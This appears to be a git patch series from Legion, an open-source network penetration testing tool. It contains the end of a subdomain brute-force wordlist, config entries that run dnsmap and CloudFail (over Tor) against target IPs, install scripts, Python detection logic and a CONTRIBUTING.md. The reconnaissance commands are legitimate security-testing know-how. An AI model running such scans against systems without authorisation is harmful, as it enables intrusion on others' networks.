+win14 +win15 +win16 +win17 +win18 +win19 +win2 +win20 +win2000 +win2003 +win22 +win24 +win2k +win2k3 +win3 +win32 +win4 +win5 +win6 +win7 +win8 +win9 +wind +windows +windows01 +windows02 +windows1 +windows2 +windows2000 +windows2003 +windowsupdate +windowsxp +wine +wingate +winnt +winproxy +wins +winserve +winter +wintest +winupdate +winxp +wip +wire +wireless +wis +wisconsin +wisdom +wise +wish +wizard +wj +wk +wl +wlan +wlan-switch +wlc +wls +wm +wm2 +wmail +wms +wmt +wmv +wns1 +wns2 +wo +wolf +woman +wombat +women +wonder +wood +woody +woofti +word +wordpress +work +work2 +workflow +working +workplace +works +workshop +workspace +world +worldcup +wotan +wow +wowza +wp +wp1 +wp2 +wpad +wpb +wpdemo +wptest +wr +write +writers +writing +wroclaw +ws +ws1 +ws10 +ws11 +ws12 +ws13 +ws2 +ws3 +ws4 +ws5 +ws6 +ws7 +ws8 +ws9 +wsb +wsc +wsj +wsn +wsp +wss +wstest +wsus +wt +wtest +wts +wu +wuhan +wusage +wuv +wuvx +wuwv +wuwx +wuwy +wuxi +wuxv +wuxw +wuxy +wuyw +wv +wvux +wvw +wvxy +ww +ww0 +ww01 +ww02 +ww03 +ww1 +ww2 +ww3 +ww4 +ww5 +ww6 +ww7 +ww8 +ww9 +wwa +wwb +wwp +wws +wwu +wwuv +wwux +wwuy +wwv +wwvu +wwvv +wwvvv +wwvwv +wwvx +wwvy +www +www- +www-01 +www-02 +www-1 +www-2 +www-3 +www-4 +www-5 +www-a +www-admin +www-b +www-c +www-cache +www-dev +www-devel +www-int +www-live-direct +www-live-redirect +www-new +www-old +www-org +www-origin +www-prod +www-staging +www-test +www-uat +www0 +www01 +www02 +www03 +www04 +www05 +www06 +www07 +www1 +www10 +www11 +www12 +www13 +www14 +www15 +www16 +www17 +www18 +www19 +www2 +www20 +www21 +www22 +www23 +www24 +www25 +www26 +www27 +www28 +www29 +www2s +www3 +www30 +www31 +www32 +www33 +www34 +www35 +www36 +www37 +www4 +www40 +www41 +www42 +www43 +www5 +www520 +www5b +www5d +www5f +www6 +www66 +www7 +www78 +www7a +www7b +www8 +www9 +www99 +www_ +wwwa +wwwalt +wwwb +wwwc +wwwcache +wwwchat +wwwd +wwwdev +wwwe +wwwf +wwwfilter +wwwftp +wwwg +wwwh +wwwi +wwwl +wwwm +wwwmail +wwwnew +wwwold +wwws +wwwstg +wwwt +wwwtest +wwwv +wwww +wwwww +wwwx +wwx +wwxu +wwxv +wwxy +wwy +wwyu +wwyv +wwyx +wx +wxtest +wxy +wy +wydawnictwo +wyoming +wyx +wz +x +x-ray +x1 +x2 +x3 +x4 +x5 +xa +xanthus +xavier +xb +xbox +xc +xcb +xchange +xcp +xd +xe +xen +xen1 +xen2 +xena +xenapp +xenon +xeon +xerox +xew +xf +xfer +xfz +xg +xgb +xgc +xh +xhtml +xhtrnl +xi +xia +xian +xiao +xiaoban +xiaobao +xiaoyou +xin +xing +xinjiang +xinli +xiu +xj +xk +xkb +xl +xljk +xlogan +xlzx +xm +xmail +xmas +xml +xml2 +xmlfeed +xmlrpc +xmpp +xms +xn +xp +xpam +xq +xray +xs +xsc +xserve +xsh +xszz +xt +xtxp +xuebao +xx +xxb +xxgk +xxx +xxzx +xy +xyh +xyy +xyz +xz +y +ya +yaho +yahoo +yakutsk +yamato +yanbak133 +yandex +yang +yankee +yar +yaroslavl +yb +yc +ycbf1 +ycbf2 +ycbf3 +ycbf8 +yd +ydb +ydyo +ye +yellow +yellowpages +yeni +yes +yh +yj +yjs +yjsc +yjsh +yjsy +yjszs +ykt +yl +ylc +ym +yn +yoda +yoga +yokohama +york +you +youjizz +young +your +youraccount +yourmail +youth +youtrack +youtube +yoyaku +yoyo +yp +ys +ysu1-catalyst4506e-0 +yt +yu +yuan +yukon +yulanyou +yule +yum +yun +yunfu +yuyue +yw +yx +yxy +yy +yz +z +z-log +z1 +z2 +z3 +z3950 +za +zabbix +zabbix2 +zags +zakaz +zakon +zakupki +zap +zaphod +zazcloud1 +zazcloud2 +zazcloud3 +zb +zbx +zc +zcc +zcgl +zcs +zd +zdrowie +zebra +zelda +zen +zend +zenith +zenoss +zenwsimport +zephir +zephyr +zera +zero +zeta +zeus +zf +zg +zh +zh-cn +zhao +zhaopin +zhaosheng +zhidao +zhu +zhuanti +zim +zimbra +zinc +zion +zip +zixun +zj +zjj +zk +zlog +zm +zmail +zn +zombie +zone +zoo +zoom +zoomumba +zope +zp +zpanel +zpush +zr +zs +zsb +zsjy +zt +zt2 +zulu +zurich +zw +zwj +zx +zy +zyz +zz +zzb +zzz From 8d4ef6f88b91e99c44f8f053689d0df6ec411121 Mon Sep 17 00:00:00 2001 From: jchoy14 <28782996+jchoy14@users.noreply.github.com> Date: Thu, 7 Mar 2019 14:17:55 -0500 Subject: [PATCH 188/450] fixed tab error --- app/logic.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/logic.py b/app/logic.py index 0016200e..60798327 100644 --- a/app/logic.py +++ b/app/logic.py @@ -36,7 +36,7 @@ def createTemporaryFiles(self): os.makedirs(self.outputfolder+'/screenshots') # to store screenshots os.makedirs(self.runningfolder+'/nmap') # to store nmap output os.makedirs(self.runningfolder+'/hydra') # to store hydra output - os.makedirs(self.runningfolder+'/dnsmap') # to store dnsmap output + os.makedirs(self.runningfolder+'/dnsmap') # to store dnsmap output self.usernamesWordlist = Wordlist(self.outputfolder + '/legion-usernames.txt') # to store found usernames self.passwordsWordlist = Wordlist(self.outputfolder + '/legion-passwords.txt') # to store found passwords self.projectname = tf.name From 1e0bb02bdec66ef611da27ec4bb74320b94644ce Mon Sep 17 00:00:00 2001 From: jchoy14 <28782996+jchoy14@users.noreply.github.com> Date: Thu, 7 Mar 2019 14:36:17 -0500 Subject: [PATCH 189/450] dnsmap integration --- legion.conf | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/legion.conf b/legion.conf index eacbb1ca..fe564414 100644 --- a/legion.conf +++ b/legion.conf @@ -271,7 +271,7 @@ vnc-info.nse=vnc-info.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-info.nse --scri webslayer=Launch webslayer, webslayer, "http,https,ssl,soap,http-proxy,http-alt" whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=[OUTPUT].txt", "http,https,ssl,soap,http-proxy,http-alt" x11screen=Run x11screenshot, bash ./scripts/x11screenshot.sh [IP] 0 [OUTPUT], X11 -dns=Run dnsmap, dnsmap [IP] -w usr/share/wordlists/gvit_subdomain_wordlist.txt -r [OUTPUT], dnsmap +dns=Run dnsmap, "dnsmap [IP] -w usr/share/wordlists/gvit_subdomain_wordlist.txt -r [OUTPUT]" [PortTerminalActions] firefox=Open with firefox, firefox [IP]:[PORT], From 400915362df4d472141e1c434476d705930d21f0 Mon Sep 17 00:00:00 2001 From: jchoy14 <28782996+jchoy14@users.noreply.github.com> Date: Thu, 7 Mar 2019 14:42:46 -0500 Subject: [PATCH 190/450] Fixed index error --- legion.conf | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/legion.conf b/legion.conf index fe564414..7d00496d 100644 --- a/legion.conf +++ b/legion.conf @@ -271,7 +271,7 @@ vnc-info.nse=vnc-info.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-info.nse --scri webslayer=Launch webslayer, webslayer, "http,https,ssl,soap,http-proxy,http-alt" whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=[OUTPUT].txt", "http,https,ssl,soap,http-proxy,http-alt" x11screen=Run x11screenshot, bash ./scripts/x11screenshot.sh [IP] 0 [OUTPUT], X11 -dns=Run dnsmap, "dnsmap [IP] -w usr/share/wordlists/gvit_subdomain_wordlist.txt -r [OUTPUT]" +dns=Run dnsmap, "dnsmap [IP] -w usr/share/wordlists/gvit_subdomain_wordlist.txt -r [OUTPUT]", dnsmap [PortTerminalActions] firefox=Open with firefox, firefox [IP]:[PORT], From f38eb6ca04aab2f5f1ecc92e0eddd5c2ee1171fa Mon Sep 17 00:00:00 2001 From: jchoy14 <28782996+jchoy14@users.noreply.github.com> Date: Thu, 7 Mar 2019 15:10:36 -0500 Subject: [PATCH 191/450] Fixed wordlist directory --- legion.conf | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/legion.conf b/legion.conf index 7d00496d..ec71fc93 100644 --- a/legion.conf +++ b/legion.conf @@ -271,7 +271,7 @@ vnc-info.nse=vnc-info.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-info.nse --scri webslayer=Launch webslayer, webslayer, "http,https,ssl,soap,http-proxy,http-alt" whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=[OUTPUT].txt", "http,https,ssl,soap,http-proxy,http-alt" x11screen=Run x11screenshot, bash ./scripts/x11screenshot.sh [IP] 0 [OUTPUT], X11 -dns=Run dnsmap, "dnsmap [IP] -w usr/share/wordlists/gvit_subdomain_wordlist.txt -r [OUTPUT]", dnsmap +dns=Run dnsmap, "dnsmap [IP] -w ./wordlists/gvit_subdomain_wordlist.txt -r [OUTPUT]", dnsmap [PortTerminalActions] firefox=Open with firefox, firefox [IP]:[PORT], From 75f9ee8965138cdb43f4f48548fd16f8dd0816fb Mon Sep 17 00:00:00 2001 From: jchoy14 <28782996+jchoy14@users.noreply.github.com> Date: Thu, 7 Mar 2019 15:11:46 -0500 Subject: [PATCH 192/450] Fixed name of dnsmap tab --- legion.conf | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/legion.conf b/legion.conf index ec71fc93..12cefe99 100644 --- a/legion.conf +++ b/legion.conf @@ -271,7 +271,7 @@ vnc-info.nse=vnc-info.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-info.nse --scri webslayer=Launch webslayer, webslayer, "http,https,ssl,soap,http-proxy,http-alt" whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=[OUTPUT].txt", "http,https,ssl,soap,http-proxy,http-alt" x11screen=Run x11screenshot, bash ./scripts/x11screenshot.sh [IP] 0 [OUTPUT], X11 -dns=Run dnsmap, "dnsmap [IP] -w ./wordlists/gvit_subdomain_wordlist.txt -r [OUTPUT]", dnsmap +dnsmap=Run dnsmap, "dnsmap [IP] -w ./wordlists/gvit_subdomain_wordlist.txt -r [OUTPUT]", dnsmap [PortTerminalActions] firefox=Open with firefox, firefox [IP]:[PORT], From e28a39b5b3e5eda61f5f7c8eb1670a6b351f6486 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Tue, 12 Mar 2019 09:03:08 -0500 Subject: [PATCH 193/450] Remove strict version requirements on aio libraries --- controller/controller.py | 4 ++-- requirements.txt | 6 +++--- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/controller/controller.py b/controller/controller.py index e922bf4e..e6c8d6b8 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -28,13 +28,13 @@ class Controller(): def __init__(self, view, logic): self.name = "LEGION" self.version = '0.3.4' - self.build = '1551919280' + self.build = '1552399354' self.author = 'GoVanguard' self.copyright = '2019' self.links = ['http://github.com/GoVanguard/legion/issues', 'https://GoVanguard.io/legion'] self.emails = [] - self.update = '03/06/2019' + self.update = '03/12/2019' self.license = "GPL v3" self.desc = "Legion is a fork of SECFORCE's Sparta, Legion is an open source, easy-to-use, \nsuper-extensible and semi-automated network penetration testing tool that aids in discovery, \nreconnaissance and exploitation of information systems." diff --git a/requirements.txt b/requirements.txt index 816b7baf..946c34ba 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,6 +1,6 @@ -asyncio==3.4.3 -aiohttp==3.4.4 -aioredis==1.2.0 +asyncio +aiohttp +aioredis six==1.11.0 Quamash==0.6.1 SQLAlchemy==1.3.0b1 From be1fa92e0c957b6e0c403f77876f9968771a5bd7 Mon Sep 17 00:00:00 2001 From: GitHub Date: Wed, 13 Mar 2019 14:41:43 -0500 Subject: [PATCH 194/450] Testing new Python detection methods Issues would arise when Python 3.7 and Pip 3.6 or vice versa were auto-detected. --- deps/detectPython.sh | 215 ++++++++++++++++++++++++++++++++++++++-- deps/installPython36.sh | 12 ++- 2 files changed, 220 insertions(+), 7 deletions(-) diff --git a/deps/detectPython.sh b/deps/detectPython.sh index 4f80f67e..ff559847 100644 --- a/deps/detectPython.sh +++ b/deps/detectPython.sh @@ -5,37 +5,240 @@ testForPython2=`python3 --version 2>&1` testForPython3=`python3.6 --version 2>&1` testForPython4=`python3.7 --version 2>&1` -if [[ $testForPython == *"3.6"* ]] || [[ $testForPython == *"3.7"* ]]; then +if [[ $testForPython == *"3.6"* ]]; then pythonBin='python' -elif [[ $testForPython2 == *"3.6"* ]] || [[ $testForPython2 == *"3.7"* ]]; then + pythonVersion='3.6' +elif [[ $testForPython == *"3.7"* ]]; then + pythonBin='python' + pythonVersion='3.7' +elif [[ $testForPython2 == *"3.6"* ]]; then + pythonBin='python3' + pythonVersion='3.6' +elif [[ $testForPython2 == *"3.7"* ]]; then pythonBin='python3' + pythonVersion='3.7' elif [[ $testForPython3 == *"3.6"* ]] && [[ $testForPython3 != *"not found"* ]]; then pythonBin='python3.6' + pythonVersion='3.6' elif [[ $testForPython4 == *"3.7"* ]] && [[ $testForPython4 != *"not found"* ]]; then pythonBin='python3.7' + pythonVersion='3.7' else pythonBin='Missing' fi -echo "Python 3 bin is ${pythonBin} ($(which ${pythonBin}))" - testForPip=`pip --version 2>&1` testForPip2=`pip3 --version 2>&1` testForPip3=`pip3.6 --version 2>&1` testForPip4=`pip3.7 --version 2>&1` -if [[ $testForPip == *"3.6"* ]] || [[ $testForPip == *"3.7"* ]]; then +if [[ $testForPip == *"3.6"* ]]; then + pipBin='pip' + pipVersion=3.6 +elif [[ $testForPip == *"3.7"* ]]; then pipBin='pip' -elif [[ $testForPip2 == *"3.6"* ]] || [[ $testForPip2 == *"3.7"* ]]; then + pipVersion='3.7' +elif [[ $testForPip2 == *"3.6"* ]]; then pipBin='pip3' + pipVersion='3.6' +elif [[ $testForPip2 == *"3.7"* ]]; then + pipBin='pip3' + pipVersion='3.7' elif [[ $testForPip3 == *"3.6"* ]] && [[ $testForPip3 != *"not found"* ]]; then pipBin='pip3.6' + pipVersion='3.6' elif [[ $testForPip4 == *"3.7"* ]] && [[ $testForPip4 != *"not found"* ]]; then pipBin='pip3.7' + pipVersion='3.7' else pipBin='Missing' fi +if [[ ${pythonVersion} == *"3.7"* ]] && [[ ${pipVersion} != *"3.7"* ]]; then + case ${pipBin} in + 3.6) + echo "Found Python 3.7 but no PIP 3.7. Let's try to use Python 3.6 instead, or locate PIP 3.7." + if [[ $testForPython3 == *"3.6"* ]] && [[ $testForPython3 != *"not found"* ]]; then + pythonBin='python3.6' + pythonVersion='3.6' + elif [[ $testForPython2 == *"3.6"* ]] && [[ $testForPython2 != *"not found"* ]]; then + pythonBin='python3' + pythonVersion='3.6' + elif [[ $testForPython == *"3.6"* ]] && [[ $testForPython != *"not found"* ]]; then + pythonBin='python' + pythonVersion='3.6' + elif [[ $testForPip4 == *"3.7"* ]] && [[ $testForPip4 != *"not found"* ]]; then + pipBin='pip3.7' + pipVersion='3.7' + elif [[ $testForPip2 == *"3.7"* ]] && [[ $testForPip2 != *"not found"* ]]; then + pipBin='pip3' + pipVersion='3.7' + elif [[ $testForPip == *"3.7"* ]] && [[ $testForPip != *"not found"* ]]; then + pipBin='pip' + pipVersion='3.7' + else + pipBin='Missing' + echo "Python 3.7 is installed, however PIP 3.7 is not installed and neither is Python 3.6. Please install PIP 3.7." + fi + ;; + 3) + if [[ ${pipBin} != *"3.6"* ]] && [[ ${pipBin} != *"3.7"* ]]; then + if [[ ${pipVersion} == *"3.6"* ]]; then + echo "Found Python 3.7 but PIP 3.6. Let's try to use Python 3.6 instead, or switch to PIP 3.7." + if [[ $testForPython3 == *"3.6"* ]] && [[ $testForPython3 != *"not found"* ]]; then + pythonBin='python3.6' + pythonVersion='3.6' + elif [[ $testForPython2 == *"3.6"* ]] && [[ $testForPython2 != *"not found"* ]]; then + pythonBin='python3' + pythonVersion='3.6' + elif [[ $testForPython == *"3.6"* ]] && [[ $testForPython != *"not found"* ]]; then + pythonBin='python' + pythonVersion='3.6' + else + echo "Python 3.6 is not installed yet PIP 3.6 is. Let's look for PIP 3.7." + if [[ $testForPip4 == *"3.7"* ]] && [[ $testForPip4 != *"not found"* ]]; then + pipBin='pip3.7' + pipVersion='3.7' + elif [[ $testForPip2 == *"3.7"* ]] && [[ $testForPip2 != *"not found"* ]]; then + pipBin='pip3' + pipVersion='3.7' + elif [[ $testForPip == *"3.7"* ]] && [[ $testForPip != *"not found"* ]]; then + pipBin='pip' + pipVersion='3.7' + else + echo "PIP 3.7 not found either. Please install PIP 3.7." + pipBin='Missing' + fi + fi + else + pipBin='Missing' + echo "Python 3.7 is installed, but neither PIP 3.7 nor PIP 3.6 were found. Please install PIP 3.7." + fi + fi + ;; + *) + if [[ ${pipVersion} == *"3.6"* ]]; then + echo "Found Python 3.7 but only PIP 3.6 was found. Let's try to use Python 3.6 instead, or switch to PIP 3.7." + if [[ $testForPython3 == *"3.6"* ]] && [[ $testForPython3 != *"not found"* ]]; then + pythonBin='python3.6' + pythonVersion='3.6' + elif [[ $testForPython2 == *"3.6"* ]] && [[ $testForPython2 != *"not found"* ]]; then + pythonBin='python3' + pythonVersion='3.6' + elif [[ $testForPython == *"3.6"* ]] && [[ $testForPython != *"not found"* ]]; then + pythonBin='python' + pythonVersion='3.6' + else + echo "Python 3.6 is not installed yet PIP 3.6 is. Let's look for PIP 3.7." + if [[ $testForPip4 == *"3.7"* ]] && [[ $testForPip4 != *"not found"* ]]; then + pipBin='pip3.7' + pipVersion='3.7' + elif [[ $testForPip2 == *"3.7"* ]] && [[ $testForPip2 != *"not found"* ]]; then + pipBin='pip3' + pipVersion='3.7' + elif [[ $testForPip == *"3.7"* ]] && [[ $testForPip != *"not found"* ]]; then + pipBin='pip' + pipVersion='3.7' + else + echo "PIP 3.7 not found either. Please install PIP 3.7." + pipBin='Missing' + fi + fi + else + pipBin='Missing' + echo "Python 3.7 is installed, but neither PIP 3.7 nor PIP 3.6 were found. Please install PIP 3.7." + fi + ;; + esac +elif [[ ${pythonVersion} == *"3.6"* ]] && [[ ${pipVersion} != *"3.6"* ]]; then + case ${pipBin} in + 3.7) + echo "Found Python 3.6 but not PIP 3.6. Let's look for PIP 3.6 or switch to Python 3.7." + if [[ $testForPython4 == *"3.7"* ]] && [[ $testForPython4 != *"not found"* ]]; then + pythonBin='python3.7' + pythonVersion='3.7' + elif [[ $testForPython2 == *"3.7"* ]] && [[ $testForPython2 != *"not found"* ]]; then + pythonBin='python3' + pythonVersion='3.7' + elif [[ $testForPython == *"3.7"* ]] && [[ $testForPython != *"not found"* ]]; then + pythonBin='python3' + pythonVersion='3.7' + elif [[ $testForPip3 == *"3.6"* ]] && [[ $testForPip3 != *"not found"* ]]; then + pipBin='pip3.6' + pipVersion='3.6' + elif [[ $testForPip2 == *"3.6"* ]] && [[ $testForPip2 != *"not found"* ]]; then + pipBin='pip3' + pipVersion='3.6' + elif [[ $testForPip == *"3.6"* ]] && [[ $testForPip != *"not found"* ]]; then + pipBin='pip' + pipVersion='3.6' + else + pipBin='Missing' + echo "Python 3.6 was found, but PIP 3.6 and Python 3.7 were not found. Please install PIP 3.6." + fi + ;; + 3) + if [[ ${pipBin} != *"3.6"* ]] || [[ ${pipBin} != *"3.7"* ]]; then + if [[ ${pipVersion} == *"3.7"* ]]; then + echo "Found Python 3.6 and PIP 3.7. Let's try to switch to Python 3.7 or PIP 3.6." + if [[ $testForPython4 == *"3.7"* ]] && [[ $testForPython4 != *"not found"* ]]; then + pythonBin='python3.7' + pythonVersion='3.7' + elif [[ $testForPython2 == *"3.7"* ]] && [[ $testForPython2 != *"not found"* ]]; then + pythonBin='python3' + pythonVersion='3.7' + elif [[ $testForPython == *"3.7"* ]] && [[ $testForPython != *"not found"* ]]; then + pythonBin='python3' + pythonVersion='3.7' + elif [[ $testForPip3 == *"3.6"* ]] && [[ $testForPip3 != *"not found"* ]]; then + pipBin='pip3.6' + pipVersion='3.6' + elif [[ $testForPip2 == *"3.6"* ]] && [[ $testForPip2 != *"not found"* ]]; then + pipBin='pip3' + pipVersion='3.6' + elif [[ $testForPip == *"3.6"* ]] && [[ $testForPip != *"not found"* ]]; then + pipBin='pip' + pipVersion='3.6' + else + pipBin='Missing' + fi + else + pipBin='Missing' + fi + fi + ;; + *) + if [[ ${pipVersion} == *"3.7"* ]]; then + echo "Found Python 3.6 and PIP 3.7. Let's try to switch to Python 3.7 or PIP 3.6." + if [[ $testForPython4 == *"3.7"* ]] && [[ $testForPython4 != *"not found"* ]]; then + pythonBin='python3.7' + pythonVersion='3.7' + elif [[ $testForPython2 == *"3.7"* ]] && [[ $testForPython2 != *"not found"* ]]; then + pythonBin='python3' + pythonVersion='3.7' + elif [[ $testForPython == *"3.7"* ]] && [[ $testForPython != *"not found"* ]]; then + pythonBin='python3' + pythonVersion='3.7' + elif [[ $testForPip3 == *"3.6"* ]] && [[ $testForPip3 != *"not found"* ]]; then + pipBin='pip3.6' + pipVersion='3.6' + elif [[ $testForPip2 == *"3.6"* ]] && [[ $testForPip2 != *"not found"* ]]; then + pipBin='pip3' + pipVersion='3.6' + elif [[ $testForPip == *"3.6"* ]] && [[ $testForPip != *"not found"* ]]; then + pipBin='pip' + pipVersion='3.6' + else + pipBin='Missing' + fi + else + pipBin='Missing' + fi + ;; + esac +fi + +echo "Python 3 bin is ${pythonBin} ($(which ${pythonBin}))" echo "Pip 3 bin is ${pipBin} ($(which ${pipBin}))" export PYTHON3BIN=$(which ${pythonBin}) diff --git a/deps/installPython36.sh b/deps/installPython36.sh index 9284be1f..31de7474 100644 --- a/deps/installPython36.sh +++ b/deps/installPython36.sh @@ -11,7 +11,17 @@ then echo "Install Python 3.6 or 3.7 and Pip 3.6 or 3.7 from APT..." apt-get install -yqqqq python3 python3-pip else - echo "Python 3.6 or 3.7 found!" + if [[ ${PYTHON3BIN} == *"3.7"* ]]; then + echo "Python 3.7 found!" + elif [[ ${PYTHON3BIN} == *"3.6"* ]]; then + echo "Python 3.6 found!" + fi + if [[ ${PIP3BIN} == *"3.7"* ]]; then + echo "Pip 3.7 found!" + elif [[ ${PIP3BIN} == *"3.6"* ]]; then + echo "Pip 3.6 found!" + fi + echo "Python3: ${PYTHON3BIN}" echo "PIP3: ${PIP3BIN}" exit 0 From e632168eda8e609b7311f11eb7c55515ccf4fe17 Mon Sep 17 00:00:00 2001 From: GitHub Date: Tue, 2 Apr 2019 16:17:56 -0400 Subject: [PATCH 195/450] Added cloudfail --- legion.conf | 1 + 1 file changed, 1 insertion(+) diff --git a/legion.conf b/legion.conf index 12cefe99..f6f8d4dc 100644 --- a/legion.conf +++ b/legion.conf @@ -272,6 +272,7 @@ webslayer=Launch webslayer, webslayer, "http,https,ssl,soap,http-proxy,http-alt" whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=[OUTPUT].txt", "http,https,ssl,soap,http-proxy,http-alt" x11screen=Run x11screenshot, bash ./scripts/x11screenshot.sh [IP] 0 [OUTPUT], X11 dnsmap=Run dnsmap, "dnsmap [IP] -w ./wordlists/gvit_subdomain_wordlist.txt -r [OUTPUT]", dnsmap +cloudfail=Run cloudfail, "python scripts/CloudFail/cloudfail.py --target [IP] --tor", cloudfail [PortTerminalActions] firefox=Open with firefox, firefox [IP]:[PORT], From 023360184294959317548babe5fabde42478d534 Mon Sep 17 00:00:00 2001 From: GitHub Date: Tue, 2 Apr 2019 16:19:28 -0400 Subject: [PATCH 196/450] Added git --- deps/installDeps.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/deps/installDeps.sh b/deps/installDeps.sh index e8c30d1b..e51f5114 100644 --- a/deps/installDeps.sh +++ b/deps/installDeps.sh @@ -7,4 +7,4 @@ echo "Checking Apt..." runAptGetUpdate echo "Installing deps..." -DEBIAN_FRONTEND="noninteractive" apt-get -yqqq --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install nmap finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb imagemagick eog hping3 python-impacket ruby perl dnsmap +DEBIAN_FRONTEND="noninteractive" apt-get -yqqq --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install nmap finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit git ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb imagemagick eog hping3 python-impacket ruby perl dnsmap From 2cc5cec57f5ff5bd478b2d7523d6ded9a0e66492 Mon Sep 17 00:00:00 2001 From: GitHub Date: Tue, 2 Apr 2019 16:20:41 -0400 Subject: [PATCH 197/450] Added cloudfail --- deps/detectScripts.sh | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/deps/detectScripts.sh b/deps/detectScripts.sh index 7e42dcea..f3b91c57 100644 --- a/deps/detectScripts.sh +++ b/deps/detectScripts.sh @@ -58,6 +58,13 @@ else wget -v -P scripts/ https://raw.githubusercontent.com/GoVanguard/sparta-scripts/master/smtp-user-enum.pl fi +if [ -a scripts/CloudFail/cloudfail.py ] + then + echo "Cloudfail has been found" +else + git clone https://github.com/m0rtem/CloudFail.git scripts/CloudFail +fi + if [ ! -f ".initialized" ] then scripts/installDeps.sh From 2e0a12ac50d3593722064936cd76646ad5b01f41 Mon Sep 17 00:00:00 2001 From: GitHub Date: Wed, 3 Apr 2019 11:30:51 -0400 Subject: [PATCH 198/450] added contributing.md missing general questions section --- CONTRIBUTING.md | 41 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 41 insertions(+) create mode 100644 CONTRIBUTING.md diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 00000000..d3498bc6 --- /dev/null +++ b/CONTRIBUTING.md @@ -0,0 +1,41 @@ +# Contributing + +Are you interested in contributing to Legion? We love contributors! We ask that you follow the processes/guidelines below when making contributions to the project. We ask that you also follow our contributor [**Code of Conduct**](#code-of-conduct). We look forward to working with you - get started in one of the sections below. + + + +#### Do you have a general question? + +* Ask your question [ place to ask questions ] + + + +#### Did you find a bug? + +* Awesome. First, ensure that your bug isn't a duplicate by checking the [Issues](https://github.com/GoVanguard/legion/issues). **If the issue already exists**, go ahead and comment on the issue with your bug report information, following the guidelines below as if you were reporting a new issue - just don't make a new issue. +* **If you can't find the issue**, its time to open a new issue. Fill in the issue title with a clear title and description. Where possible, include steps to reproduce the bug, code samples, and screenshots. + + + +#### Did you patch a bug? + +* Excellent - your first steps are to open a new [Pull Request](https://github.com/GoVanguard/legion/pulls) with your patch. Be prepared to answer questions or receive feedback from the team. +* Ensure the PR has a description that clearly details the problem and your solution. Be sure to include issue numbers if possible. +* Follow our coding practices and standards for whatever files you're working on. + + + +#### Do you want to add a feature? + +* We love new features! Please [make an issue](https://github.com/GoVanguard/legion/issues/new) for discussion, with a clear title and description of the proposed feature. Add the Proposal tag, and use the comments to follow up with the team. +* We suggest you wait for feedback on your feature proposal before working on a patch and submitting a PR. + + + +#### Code of Conduct + +We like to keep the rules simple. + +* Any behaviors meant to malign, disrespect, denigrate, harass, or attack any person will not be tolerated. +* Use respectful language and foster a community of respect and collaboration. + From 1c50f9bb4376c52ac9e934cb4f5534cf7c7b5112 Mon Sep 17 00:00:00 2001 From: GitHub Date: Wed, 3 Apr 2019 13:33:37 -0400 Subject: [PATCH 199/450] Update CONTRIBUTING.md --- CONTRIBUTING.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index d3498bc6..4316c71f 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -36,6 +36,6 @@ Are you interested in contributing to Legion? We love contributors! We ask that We like to keep the rules simple. -* Any behaviors meant to malign, disrespect, denigrate, harass, or attack any person will not be tolerated. -* Use respectful language and foster a community of respect and collaboration. +* Behavior meant to malign, disrespect, denigrate, harass, or attack any person will not be tolerated. +* Use respectful language and foster a community of collaboration. From 8ca1e2c56aacd41f2253a2cc8cd95fa4060849a5 Mon Sep 17 00:00:00 2001 From: GitHub Date: Wed, 3 Apr 2019 13:34:04 -0400 Subject: [PATCH 200/450] Update CONTRIBUTING.md --- CONTRIBUTING.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 4316c71f..a5558f4b 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -1,6 +1,6 @@ # Contributing -Are you interested in contributing to Legion? We love contributors! We ask that you follow the processes/guidelines below when making contributions to the project. We ask that you also follow our contributor [**Code of Conduct**](#code-of-conduct). We look forward to working with you - get started in one of the sections below. +Are you interested in contributing to Legion? We love contributors! We ask that you follow the guidelines below when making contributions to the project. We ask that you also follow our contributor [**Code of Conduct**](#code-of-conduct). We look forward to working with you - get started in one of the sections below. From 98b48d24ec79251809bfc63b1a94fa285955d72c Mon Sep 17 00:00:00 2001 From: GitHub Date: Wed, 3 Apr 2019 13:35:52 -0400 Subject: [PATCH 201/450] Update CONTRIBUTING.md --- CONTRIBUTING.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index a5558f4b..4d51ab2e 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -13,7 +13,7 @@ Are you interested in contributing to Legion? We love contributors! We ask that #### Did you find a bug? * Awesome. First, ensure that your bug isn't a duplicate by checking the [Issues](https://github.com/GoVanguard/legion/issues). **If the issue 